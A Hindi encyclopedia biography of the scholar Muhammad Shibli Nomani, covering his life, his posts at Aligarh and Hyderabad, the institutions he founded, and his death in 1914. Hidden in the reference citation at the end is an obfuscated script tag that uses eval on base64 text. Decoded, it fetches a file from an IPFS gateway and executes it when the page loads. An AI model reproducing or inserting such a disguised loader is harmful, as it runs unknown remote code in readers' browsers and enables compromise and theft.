शिबली नुमानी

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शिबली नुमानी (जन्म- मई, 1857, आजमगढ़, उत्तर प्रदेश; मृत्यु- 14 नवंबर, 1914, आजमगढ़) प्रसिद्ध इस्लामिक विद्वान, लेखक‍ होने के साथ-साथ एक वकील एवं अरबी के सहायक प्रोफेसर रहे थे।

परिचय

प्रसिद्ध इस्लामिक विद्वान और लेखक‍ मुहम्मद शिबली नुमानी का जन्म मई, 1857 ई. में आजमगढ़, उत्तर प्रदेश के बगोल नामक गांव में हुआ था। इनके पिता शेख हबीबुल्ला जमींदार और अफीम के कारखाने के मालिक थे तथा वकालत भी करते थे। शिबली ने भी कुछ दिन तक वकालत की और पुश्तैनी कारखाना देखा। उसके बाद 1883 में वे अरबी के सहायक प्रोफेसर होकर अलीगढ़ के मुहम्मडन एंग्लो ओरिएंटल कॉलेज में चले गए।[1]

साहित्यिक क्षमता

अलीगढ़ में सर सैयद अहमद तथा अन्य लोगों के संपर्क में आने से शिबली नुमानी ने अपनी बौद्धिक क्षमता का काफी विकास किया। यहां उनकी साहित्यिक क्षमता में वृद्धि हुई। 1901 से 1905 तक हैदराबाद रियासत में कला और साहित्य विभाग के सचिव के रूप में काम किया। उन्होंने कला और विज्ञान के अनेक ग्रंथों का उर्दू में अनुवाद करा कर प्रकाशित कराया। 1903 में जब 'अंजुमने तरक्किए उर्दू' नामक संस्था की स्थापना हुई तो उसके सचिव भी शिबली नुमानी ही बनाए गए।

योगदान

इस्लामी अध्ययन और अरबी भाषा में शोधकार्य के लिए लखनऊ की प्रसिद्ध संस्था 'दारुलउलूम' की स्थापना में नुमानी ने अपना महत्वपूर्ण योगदान दिया है। इस संस्था के पत्र 'अलंनदवा' का उन्होंने संपादन किया। 9 वर्षों तक वे इस संस्था से जुड़े रहे। फिर कुछ लोगों के संकुचित विचारों से दुखी होकर आजमगढ़ चले गए। वहां उन्होंने अपना मकान, बाग और पुस्तकालय दान में देकर 'दारुल मुसन्नफ़ीन' नामक संस्था की स्थापना की। उन्हें उर्दू भाषा में अनेक ग्रंथों की रचना का श्रेय है।

मृत्यु

मुहम्मद शिबली नुमानी का 14 नवंबर, 1914 ई. को आजमगढ़, उत्तर प्रदेश में निधन हो गया।



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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 842 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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